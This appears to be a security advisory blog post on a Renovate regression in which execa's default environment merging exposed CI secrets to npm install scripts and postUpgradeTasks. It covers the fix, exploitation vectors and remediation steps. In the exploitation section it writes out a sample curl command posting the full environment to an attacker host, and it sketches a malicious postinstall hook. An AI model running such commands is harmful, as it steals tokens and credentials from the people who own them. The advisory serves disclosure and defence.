Feb 14, 2026·6 min read·12 visits
Renovate switched to a new library (`execa`) for running commands but missed a default setting that merges environment variables. Consequently, `npm install` scripts and `postUpgradeTasks` ran with full access to Renovate's secrets. Fixed in 42.96.3 and 43.4.4.
A critical regression in Renovate's process execution logic allowed child processes to inherit the full set of parent environment variables. This accidentally exposed sensitive CI/CD credentials—such as GitHub PATs and NPM tokens—to untrusted scripts running during package updates.
Renovate is the golden retriever of the DevSecOps world. It fetches your dependency updates, wags its tail (opens a PR), and generally tries to be a good boy. To do its job, it needs keys to the house—specifically, Write access to your repositories, tokens for your package registries (NPM, Docker Hub), and often a myriad of other secrets injected into its CI/CD environment.
But here is the catch: Renovate doesn't just push code; it runs code. It executes npm install, go mod tidy, and user-defined postUpgradeTasks. Security 101 dictates that when you run untrusted code (like a random npm package's install script), you sandboxing it. You definitely don't hand it your wallet.
For a long time, Renovate was careful. It curated the environment variables passed to child processes, stripping out the sensitive stuff. But in late 2025, during a routine refactor to modernize its codebase, someone swapped out the engine under the hood. The car still drove fine, but suddenly, the trunk was popping open and spilling gold bars every time it hit a speed bump. This is the story of how a helper library's "helpful" default setting turned Renovate into a secrets dispenser.
The root cause of GHSA-8wc6-vgrq-x6cf is a classic case of "implicit behavior." In Pull Request #40212, the Renovate team decided to switch their process execution logic to use execa, a very popular and powerful Node.js wrapper for child_process. It's a great library. It handles cross-platform nonsense, better error messages, and promise-based execution.
However, execa has a default behavior that is conceptually convenient for CLI tools but catastrophic for a security sandbox: extendEnv: true. By default, execa takes the parent process's process.env and merges it with whatever you pass it. If the parent process is a CI runner loaded with GITHUB_TOKEN, AWS_SECRET_KEY, and NPM_TOKEN, and you spawn a child process to run npm install, that child inherits everything unless you explicitly tell it to stop.
The developers removed the old manual spawning logic—which likely had an explicit "only pass these vars" filter—and replaced it with execa. They assumed execa would start with a clean slate or only use what was explicitly provided. They were wrong. The result? Every command Renovate ran, from git fetch to malicious post-install scripts in dependencies, had full read access to the runner's environment variables.
The fix is almost insulting in its simplicity, which is typical for the most dangerous bugs. It didn't require re-architecting the security model; it just required flipping a boolean switch that should have been off to begin with.
Here is the vulnerable implementation (simplified) compared to the patch in lib/util/exec/common.ts:
The Vulnerable Code:
export function exec(cmd, options) {
// ... setup code ...
return execa(cmd, args, {
cwd: options.cwd,
shell: true,
// Implicitly: extendEnv: true
});
}The Fix (Commit 9b59ffd):
export function exec(cmd, options) {
// ... setup code ...
return execa(cmd, args, {
cwd: options.cwd,
shell: true,
extendEnv: false, // <--- The magic shield
env: options.env // Only use what we give you
});
}By adding extendEnv: false, the developers forced execa to ignore the parent's process.env. This returned Renovate to its intended behavior: an explicit allowlist where only necessary variables (like PATH or specific proxy settings) are passed down, and secrets stay in the parent process where they belong.
How would an attacker weaponize this? You don't need a buffer overflow or a ROP chain. You just need to ask the environment nicely. There are two primary vectors here: the Insider Threat and the Supply Chain Attack.
Vector 1: The Malicious Configuration (Insider/PR)
If an attacker can modify the renovate.json of a repository that Renovate scans, they can add a postUpgradeTasks. This feature allows running arbitrary shell commands after an update.
{
"postUpgradeTasks": {
"commands": [
"curl -X POST -d \"$(env)\" https://attacker.com/leak"
],
"executionMode": "branch"
}
}Before the fix, when Renovate processed this config, it would spawn a shell to run curl. Because of the bug, that shell inherited GITHUB_TOKEN and NPM_TOKEN. The curl command would happily dump the entire environment to the attacker's server.
Vector 2: The Poisoned Dependency
Imagine Renovate is updating a dependency in your project. It runs npm install to generate the lockfile. If that dependency contains a malicious postinstall script:
// package.json of a compromised dependency
"scripts": {
"postinstall": "node leak_secrets.js"
}Renovate runs npm install. The npm process inherits the secrets. npm runs the postinstall script, which inherits the secrets from npm. The script reads process.env.GH_TOKEN and sends it home. You just got pwned by a minor version update.
This isn't just a "read-only" leak. The credentials Renovate uses are high-value targets. A leaked GitHub Token often has repo scope, meaning an attacker can push code to your private repositories, modify releases, or delete branches.
If you are using Renovate to publish packages, it might hold an NPM_TOKEN with publishing rights. An attacker could use this to publish malicious versions of your internal packages, effectively pivoting from a CI leak to a full-blown supply chain attack on your customers.
The window of exposure was roughly six weeks (Dec 30, 2025 to Feb 9, 2026). Any job run during that time with affected versions of Renovate potentially exposed its secrets to the child processes it spawned. If you run untrusted code (and npm install is untrusted code), you must assume compromise.
First, stop the bleeding. If you are running self-hosted Renovate, check your version immediately. If you are in the 42.68.1 - 42.96.2 or 43.0.0 - 43.4.3 range, you are vulnerable.
Step 1: Upgrade
Update to version 42.96.3 or 43.4.4 immediately. These versions contain the extendEnv: false patch.
Step 2: Rotate Credentials This is the painful part, but it is non-negotiable. Merely patching the software doesn't un-leak the secrets. You must assume that any token exposed to a Renovate runner during the vulnerable window has been harvested. Rotate your bot's GitHub/GitLab tokens. Rotate your NPM tokens. Rotate your Docker Hub credentials. If you injected AWS keys, rotate those too.
Step 3: Harden Configuration
Review your allowedPostUpgradeCommands in your Renovate global config. Ideally, disable postUpgradeTasks entirely unless you strictly control the repositories being scanned. Trusting user-defined shell commands in a privileged environment is always a game of Russian Roulette; this bug just put a bullet in every chamber.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Renovate Mend | >= 42.68.1 < 42.96.3 | 42.96.3 |
Renovate Mend | >= 43.0.0 < 43.4.4 | 43.4.4 |
| Attribute | Detail |
|---|---|
| CWE | CWE-526 (Env Var Exposure) |
| Attack Vector | Local / CI Environment |
| CVSS | 5.5 (Medium) |
| Affected Component | lib/util/exec/common.ts |
| Impact | Information Disclosure (Credentials) |
| Exploit Status | Conceptual / PoC Available |